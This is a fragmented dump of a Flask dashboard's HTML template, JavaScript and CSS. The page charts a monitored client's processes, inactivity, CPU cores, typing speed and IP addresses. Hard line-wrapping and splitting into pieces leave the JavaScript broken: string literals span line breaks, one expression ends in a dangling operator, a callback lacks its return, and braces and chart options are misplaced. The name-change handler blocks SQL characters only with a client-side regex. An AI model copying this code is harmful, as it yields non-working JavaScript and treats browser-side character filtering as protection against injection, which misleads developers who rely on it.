```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Client Statistics</title>
  <link rel="stylesheet" href="{ { url_for('static',
filename='css/stats_screen.css') } }">
  <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/luxon"></script>
  <script
src="https://cdn.jsdelivr.net/npm/chartjs-adapter-luxon"></script>
</head>
<body>
  
  <button class="return-btn"
onclick="window.location.href='/employees'">Return</button>
  <button class="refresh-btn"
onclick="refreshData()">Refresh</button>
  <div class="client-name-container">
    Client: <span id="clientName">{{ client_name }}</span>
  </div>
  <div class="name-change-container">
    <input type="text" id="newClientName" placeholder="Enter new
client name">
    <button onclick="changeClientName()">Change Name</button>
  </div>
  <div class="container">
    <div class="card" id="processes">
      <h3>Processes Usage</h3>
      <div class="chart-container">
        <canvas id="processChart"></canvas>
      </div>
    </div>
    <div class="card" id="inactivity">
      <h3>Inactive Periods</h3>
      <div class="chart-container">
        <canvas id="inactivityChart"></canvas>
      </div>
    </div>
    <div class="card" id="cpu_usage" style="grid-column: span 2;">
      <h3>CPU Usage</h3>
      <div class="chart-container">
        <canvas id="cpuUsageChart"></canvas>
      </div>
    </div>
    <div class="card" id="wpm">
      <h3>Words Per Minute (WPM)</h3>
      <div class="chart-container">
        <div class="wpm-number">
          {{ stats.wpm }}
        </div>
      </div>
    </div>
  </div>
</body>
</html>
```

File name: stats_screen.html

```
        </div>
    </div>
</div>
<div class="card" id="ips">
    <h3>IP Usage</h3>
    <div class="chart-container">
        <canvas id="ipsChart"></canvas>
    </div>
</div>
</div>
<div class="overlay" id="overlay"></div>
<div class="expanded-card" id="expandedCard">
    <button class="close-btn"
        onclick="closeExpandedCard()">X</button>
</div>

<script type="text/javascript">
    const stats = {{ stats | tojson | safe }};
</script>

<script src="{{ url_for('static', filename='js/stats_screen.js')
    }}"></script>
</body>
</html>
```

File name: stats_screen.js

```
let processChart, inactivityChart, cpuUsageChart, ipsChart;
const coreColors = {};

function getRandomColor() {
  const r = Math.floor(Math.random() * 256);
  const g = Math.floor(Math.random() * 256);
  const b = Math.floor(Math.random() * 256);
  return `rgba(${r}, ${g}, ${b}, 0.8)`;
}

function refreshData() {
  const button = document.querySelector('.refresh-btn');
  button.disabled = true;
  button.textContent = 'Refreshing...';

  // Get the current client name from the page
  const clientName =
    document.getElementById('clientName').textContent;

  // Reload the page with the current client name
  window.location.href =
    `/stats_screen?client_name=${encodeURIComponent(clientName)}`;
}

document.addEventListener('DOMContentLoaded', () => {
  console.log('Stats Data:', stats);

  processChart = new Chart(document.getElementById('processChart'), {
    type: 'bar',
    data: {
      labels: stats.processes.labels,
      datasets: [{
        data: stats.processes.data,
        backgroundColor: '#00d1b2',
      }]
    },
    options: {
      responsive: true,
      maintainAspectRatio: false,
      plugins: {
        legend: {
          display: false
        }
      }
    }
  });

  const parsedDates = stats.inactivity.labels.map(dateStr => {
    const dateTime = luxon.DateTime.fromFormat(dateStr, 'yyyy-MM-dd
    HH:mm:ss');
    if (!dateTime.isValid) {
      console.error(`Invalid date: ${dateStr}`);
      return null;
    }
  });
});
```

File name: stats_screen.js

```
}
return dateTime.toJSDate();
}).filter(date => date !== null);

const minDate = new Date(Math.min(...parsedDates));
const maxDate = new Date(Math.max(...parsedDates));

inactivityChart = new
Chart(document.getElementById('inactivityChart'), {
  type: 'scatter',
  data: {
    datasets: [{
      label: 'Inactive Time (minutes)',
      data: parsedDates.map((date, index) => ({
        x: date,
        y: stats.inactivity.data[index]
      })),
      backgroundColor: '#00d1b2',
      pointRadius: 5,
      pointHoverRadius: 7,
    }]
  },
  options: {
    responsive: true,
    maintainAspectRatio: false,
    scales: {
      x: {
        type: 'time',
        time: {
          unit: 'minute',
          tooltipFormat: 'yyyy-MM-dd HH:mm:ss',
          displayFormats: {
            minute: 'HH:mm',
            hour: 'HH:mm',
            day: 'yyyy-MM-dd'
          }
        },
      },
      title: {
        display: true,
        text: 'Time'
      },
      min: minDate,
      max: maxDate,
    },
    y: {
      title: {
        display: true,
        text: 'Inactive Time (minutes)'
      },
      suggestedMin: 0,
      suggestedMax:
        Math.max(...stats.inactivity.data.filter(Number.isFinite)) *
    }
  }
});
```


File name: stats_screen.js

```
    },
    plugins: {
      tooltip: {
        callbacks: {
          label: (context) => {
            const label = context.dataset.label || '';
            const value = context.raw.y || 0;
            return `${label}: ${value} minutes`;
          }
        }
      }
    }
  }
});

const cpuDataWithTimestamps = stats.cpu_usage.labels.map((label, i)
=> ({
  time: luxon.DateTime.fromFormat(label, 'yyyy-MM-dd
HH:mm:ss').toJSDate(),
  usage: stats.cpu_usage.data.usage.map(core => core[i]),
}));

// Sort by time
cpuDataWithTimestamps.sort((a, b) => a.time - b.time);

// Extract sorted labels and usage
const sortedLabels = cpuDataWithTimestamps.map(d => d.time);
const sortedUsage = stats.cpu_usage.data.cores.map((_, coreIndex)
=>
  cpuDataWithTimestamps.map(d => d.usage[coreIndex]));

cpuUsageChart = new Chart(document.getElementById('cpuUsageChart'),
{
  type: 'line',
  data: {
    labels: sortedLabels,
    datasets: stats.cpu_usage.data.cores.map((core, index) => {
      const color = getRandomColor();
      coreColors[core] = color;

      return {
        label: `Core ${core}`,
        data: sortedUsage[index],
        borderColor: color,
        backgroundColor: 'rgba(0, 209, 178, 0.1)',
        borderWidth: 2,
        pointRadius: 5,
        pointBackgroundColor: color,
        pointBorderColor: color,
        fill: true,
        tension: 0.4, // Smooth lines (optional)
      };
    })
  }
});
```

File name: stats_screen.js

```
},
options: {
  responsive: true,
  maintainAspectRatio: false,
  scales: {
    x: {
      type: 'time',
      time: {
        unit: 'minute',
        tooltipFormat: 'yyyy-MM-dd HH:mm:ss',
        displayFormats: {
          minute: 'HH:mm',
          hour: 'HH:mm',
          day: 'yyyy-MM-dd'
        }
      },
      title: {
        display: true,
        text: 'Time'
      },
      grid: {
        display: true,
        color: 'rgba(255, 255, 255, 0.1)',
      },
      ticks: {
        autoSkip: false,
        maxRotation: 45,
        minRotation: 45,
      }
    },
    y: {
      title: {
        display: true,
        text: 'CPU Usage (%)'
      },
      suggestedMin: 0,
      suggestedMax: 100,
      grid: {
        display: true,
        color: 'rgba(255, 255, 255, 0.1)',
      }
    }
  },
  plugins: {
    legend: {
      display: true,
      position: 'top'
    },
    tooltip: {
      callbacks: {
        label: (context) => {
          const label = context.dataset.label || '';
          const value = context.raw || 0;
        }
      }
    }
  }
}
```

File name: stats_screen.js

```
                return `${label}: ${value}%`;
            }
        }
    }
}
});

// IPs Pie Chart
ipsChart = new Chart(document.getElementById('ipsChart'), {
    type: 'pie',
    data: {
        labels: stats.ips.labels,
        datasets: [{
            data: stats.ips.data,
            backgroundColor: stats.ips.labels.map(() =>
                getRandomColor()),
        }]
    },
    options: {
        responsive: true,
        maintainAspectRatio: false,
        plugins: {
            legend: {
                display: true,
                position: 'bottom'
            }
        }
    }
});

});

function expandCard(card) {
    const expandedCard = document.getElementById('expandedCard');
    const overlay = document.getElementById('overlay');

    const cardContent = card.cloneNode(true);
    expandedCard.innerHTML = cardContent.innerHTML;

    const closeButton = document.createElement('button');
    closeButton.className = 'close-btn';
    closeButton.innerText = 'X';
    closeButton.onclick = closeExpandedCard;
    expandedCard.appendChild(closeButton);

    if (card.id === 'processes') {
        new Chart(expandedCard.querySelector('canvas'), {
            type: 'bar',
            data: {
                labels: stats.processes.labels,
                datasets: [{
                    data: stats.processes.data,
                    backgroundColor: '#00d1b2',
                }]
            }
        });
    }
}
```

File name: stats_screen.js

```
        }}
    },
    options: {
        responsive: true,
        maintainAspectRatio: false,
        plugins: {
            legend: {
                display: false
            }
        }
    }
}

});
} else if (card.id === 'inactivity') {
    const parsedDates = stats.inactivity.labels.map(dateStr => {
        const dateTime = luxon.DateTime.fromFormat(dateStr,
            'yyyy-MM-dd HH:mm:ss');
        if (!dateTime.isValid) {
            console.error(`Invalid date: ${dateStr}`);
            return null;
        }
        return dateTime.toJSDate();
    }).filter(date => date !== null);

    const minDate = new Date(Math.min(...parsedDates));
    const maxDate = new Date(Math.max(...parsedDates));

    new Chart(expandedCard.querySelector('canvas'), {
        type: 'scatter',
        data: {
            datasets: [{
                label: 'Inactive Time (minutes)',
                data: parsedDates.map((date, index) => ({
                    x: date,
                    y: stats.inactivity.data[index]
                })),
                backgroundColor: '#00d1b2',
                pointRadius: 5,
                pointHoverRadius: 7,
            }]
        },
        options: {
            responsive: true,
            maintainAspectRatio: false,
            scales: {
                x: {
                    type: 'time',
                    time: {
                        unit: 'minute',
                        tooltipFormat: 'yyyy-MM-dd HH:mm:ss',
                        displayFormats: {
                            minute: 'HH:mm',
                            hour: 'HH:mm',
                            day: 'yyyy-MM-dd'
                        }
                    }
                }
            }
        }
    });
}
```

File name: stats_screen.js

```
        },
      },
      title: {
        display: true,
        text: 'Time'
      },
      min: minDate,
      max: maxDate,
    },
    y: {
      title: {
        display: true,
        text: 'Inactive Time (minutes)'
      },
      suggestedMin: 0,
      suggestedMax:
        Math.max(...stats.inactivity.data.filter(Number.isFinite))
    },
  },
  plugins: {
    tooltip: {
      callbacks: {
        label: (context) => {
          const label = context.dataset.label ||
            '';
          const value = context.raw.y || 0;
          return `${label}: ${value} minutes`;
        }
      }
    }
  }
}

});
} else if (card.id === 'cpu_usage') {
  // Parse and sort the CPU data by time (same as main chart)
  const cpuDataWithTimestamps =
    stats.cpu_usage.labels.map((label, i) => ({
      time: luxon.DateTime.fromFormat(label, 'yyyy-MM-dd
      HH:mm:ss').toJSDate(),
      usage: stats.cpu_usage.data.usage.map(core => core[i]),
    }));

  cpuDataWithTimestamps.sort((a, b) => a.time - b.time);

  const sortedLabels = cpuDataWithTimestamps.map(d => d.time);
  const sortedUsage = stats.cpu_usage.data.cores.map((_,
  coreIndex) =>
    cpuDataWithTimestamps.map(d => d.usage[coreIndex]));

  new Chart(expandedCard.querySelector('canvas'), {
    type: 'line',
    data: {
      labels: sortedLabels,
```

File name: stats_screen.js

```
datasets: stats.cpu_usage.data.cores.map((core, index)
=> {
  const color = coreColors[core];
  return {
    label: `Core ${core}`,
    data: sortedUsage[index],
    borderColor: color,
    backgroundColor: 'rgba(0, 209, 178, 0.1)',
    borderWidth: 2,
    pointRadius: 5,
    pointBackgroundColor: color,
    pointBorderColor: color,
    fill: true,
    tension: 0.4,
  };
})
},
options: {
  responsive: true,
  maintainAspectRatio: false,
  scales: {
    x: {
      type: 'time',
      time: {
        unit: 'minute',
        tooltipFormat: 'yyyy-MM-dd HH:mm:ss',
        displayFormats: {
          minute: 'HH:mm',
          hour: 'HH:mm',
          day: 'yyyy-MM-dd'
        }
      },
    },
    title: {
      display: true,
      text: 'Time'
    },
    grid: {
      display: true,
      color: 'rgba(255, 255, 255, 0.1)',
    },
    ticks: {
      autoSkip: false,
      maxRotation: 45,
      minRotation: 45,
    }
  },
  y: {
    title: {
      display: true,
      text: 'CPU Usage (%)'
    },
    suggestedMin: 0,
    suggestedMax: 100,
```

File name: stats_screen.js

```
        grid: {
            display: true,
            color: 'rgba(255, 255, 255, 0.1)',
        }
    },
    plugins: {
        legend: {
            display: true,
            position: 'top'
        },
        tooltip: {
            callbacks: {
                label: (context) => {
                    const label = context.dataset.label ||
                        '';
                    const value = context.raw || 0;
                    return `${label}: ${value}%`;
                }
            }
        }
    }
}

});

} else if (card.id === 'ips') {
    new Chart(expandedCard.querySelector('canvas'), {
        type: 'pie',
        data: {
            labels: stats.ips.labels,
            datasets: [{
                data: stats.ips.data,
                backgroundColor: stats.ips.labels.map(() =>
                    getRandomColor()),
            }]
        },
        options: {
            responsive: true,
            maintainAspectRatio: false,
            plugins: {
                legend: {
                    display: true,
                    position: 'bottom'
                }
            }
        }
    });
}

expandedCard.classList.add('active');
overlay.classList.add('active');
}

function closeExpandedCard() {
```

File name: stats_screen.js

```
const expandedCard = document.getElementById('expandedCard');
const overlay = document.getElementById('overlay');

expandedCard.classList.remove('active');
overlay.classList.remove('active');
}

document.querySelectorAll('.card').forEach(card => {
  card.addEventListener('click', () => {
    expandCard(card);
  });
});

function changeClientName() {
  const button = document.querySelector('.name-change-container button');
  button.disabled = true;

  const newName =
document.getElementById('newClientName').value.trim();
  if (!newName) {
    alert("Please enter a valid name.");
    button.disabled = false;
    return;
  }

  // Check for SQL special characters
  const forbiddenPattern = /['";\\/*\-\-]/;
  if (forbiddenPattern.test(newName)) {
    alert("Name contains invalid characters.");
    button.disabled = false;
    return;
  }

  const currentName =
document.getElementById('clientName').textContent;

  fetch('/update_client_name', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      current_name: currentName,
      new_name: newName,
    }),
  })
  .then(response => response.json())
  .then(data => {
    if (data.success) {
      document.getElementById('clientName').textContent =
newName;
      document.getElementById('newClientName').value = "";
    }
  })
}
```


File name: stats_screen.js

```
        alert("Client name updated successfully!");
    } else {
        alert(data.message || "Failed to update client name.");
    }
    button.disabled = false;
});
}
```

File name: stats_screen.css

```
body {
  font-family: 'Roboto', sans-serif;
  margin: 0;
  padding: 0;
  padding-top: 150px;
  background: #1e1e2f;
  color: #fff;
}

.container {
  display: grid;
  grid-template-columns: repeat(2, 1fr);
  gap: 20px;
  padding: 20px;
  position: relative;
  max-width: 1200px;
  margin-left: auto;
  margin-right: auto;
}

.card {
  background: #2a2a40;
  border-radius: 10px;
  padding: 20px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
  transition: all 0.5s ease;
  cursor: pointer;
  position: relative;
}

.card h3 {
  margin-top: 0;
  font-size: 1.5rem;
  color: #00d1b2;
}

.expanded-card h3 {
  color: #00d1b2;
}

.chart-container {
  width: 100%;
  height: 200px;
  margin-top: 10px;
  transition: height 0.5s ease;
}

.close-btn {
  position: absolute;
  top: 10px;
  right: 10px;
  background-color: #ff4d4d;
  color: white;
```

File name: stats_screen.css

```
border: none;
border-radius: 50%;
width: 30px;
height: 30px;
cursor: pointer;
font-size: 16px;
display: none;
z-index: 1000;
}

.expanded-card {
  position: fixed;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%) scale(0.9);
  width: 80%;
  height: 80%;
  z-index: 100;
  box-shadow: 0 8px 16px rgba(0, 0, 0, 0.2);
  background: #2a2a40;
  border-radius: 10px;
  padding: 20px;
  opacity: 0;
  transition: all 0.3s ease;
  pointer-events: none;
  display: flex;
  flex-direction: column;
}

.expanded-card.active {
  opacity: 1;
  transform: translate(-50%, -50%) scale(1);
  pointer-events: auto;
}

.expanded-card .close-btn {
  display: block;
}

.expanded-card .chart-container {
  flex: 1;
  height: auto;
  margin-top: 20px;
}

.overlay {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: rgba(0, 0, 0, 0.7);
  z-index: 99;
```

File name: stats_screen.css

```
    opacity: 0;
    transition: opacity 0.3s ease;
    pointer-events: none;
}

.overlay.active {
    opacity: 1;
    pointer-events: auto;
}

.logo {
    position: fixed;
    top: 20px;
    right: 20px;
    width: 100px;
    filter: drop-shadow(0 0 15px rgba(0, 0, 0, 0.6));
    z-index: 1000;
}

.return-btn {
    position: fixed;
    top: 20px;
    left: 20px;
    padding: 10px 20px;
    background-color: #007bff;
    color: white;
    border: none;
    border-radius: 5px;
    cursor: pointer;
    font-size: 16px;
    transition: background-color 0.3s ease;
    z-index: 1000;
}

.return-btn:hover {
    background-color: #0056b3;
}

.wpm-number {
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100%;
    font-size: 4rem;
    color: #00d1b2;
    text-shadow: 0 0 10px rgba(0, 209, 178, 0.7), 0 0 20px rgba(0, 209, 178, 0.5);
    animation: glow 1.5s infinite alternate;
}

@keyframes glow {
    from { text-shadow: 0 0 10px rgba(0, 209, 178, 0.7), 0 0 20px
    rgba(0, 209, 178, 0.5); }
```

File name: stats_screen.css

```
to { text-shadow: 0 0 20px rgba(0, 209, 178, 0.9), 0 0 30px rgba(0,
209, 178, 0.7); }
}

.client-name-container {
  position: fixed;
  top: 20px;
  left: 50%;
  transform: translateX(-50%);
  text-align: center;
  font-size: 24px;
  font-weight: bold;
  color: #00d1b2;
  z-index: 9999;
  background: #1e1e2f;
  padding: 10px 20px;
  border-radius: 5px;
}

.name-change-container {
  position: fixed;
  top: 80px;
  left: 50%;
  transform: translateX(-50%);
  text-align: center;
  z-index: 9999;
  background: #1e1e2f;
  padding: 10px 20px;
  border-radius: 5px;
}

.name-change-container input {
  padding: 10px;
  border: 2px solid #00d1b2;
  border-radius: 5px;
  background: #2a2a40;
  color: #fff;
  font-size: 16px;
  margin-right: 10px;
}

.name-change-container button {
  padding: 10px 20px;
  background-color: #00d1b2;
  color: white;
  border: none;
  border-radius: 5px;
  cursor: pointer;
  font-size: 16px;
  transition: background-color 0.3s ease;
}

.name-change-container button:hover {
```

File name: stats_screen.css

```
background-color: #009f8a;
}

.client-name-container, .name-change-container {
    position: fixed !important;
}

#cpu_usage {
    grid-column: span 1;
}

.refresh-btn {
    position: fixed;
    top: 20px;
    left: 150px; /* Positioned to the right of the return button */
    padding: 10px 20px;
    background-color: #00d1b2;
    color: white;
    border: none;
    border-radius: 5px;
    cursor: pointer;
    font-size: 16px;
    transition: background-color 0.3s ease;
    z-index: 1000;
}

.refresh-btn:hover {
    background-color: #009f8a;
}
```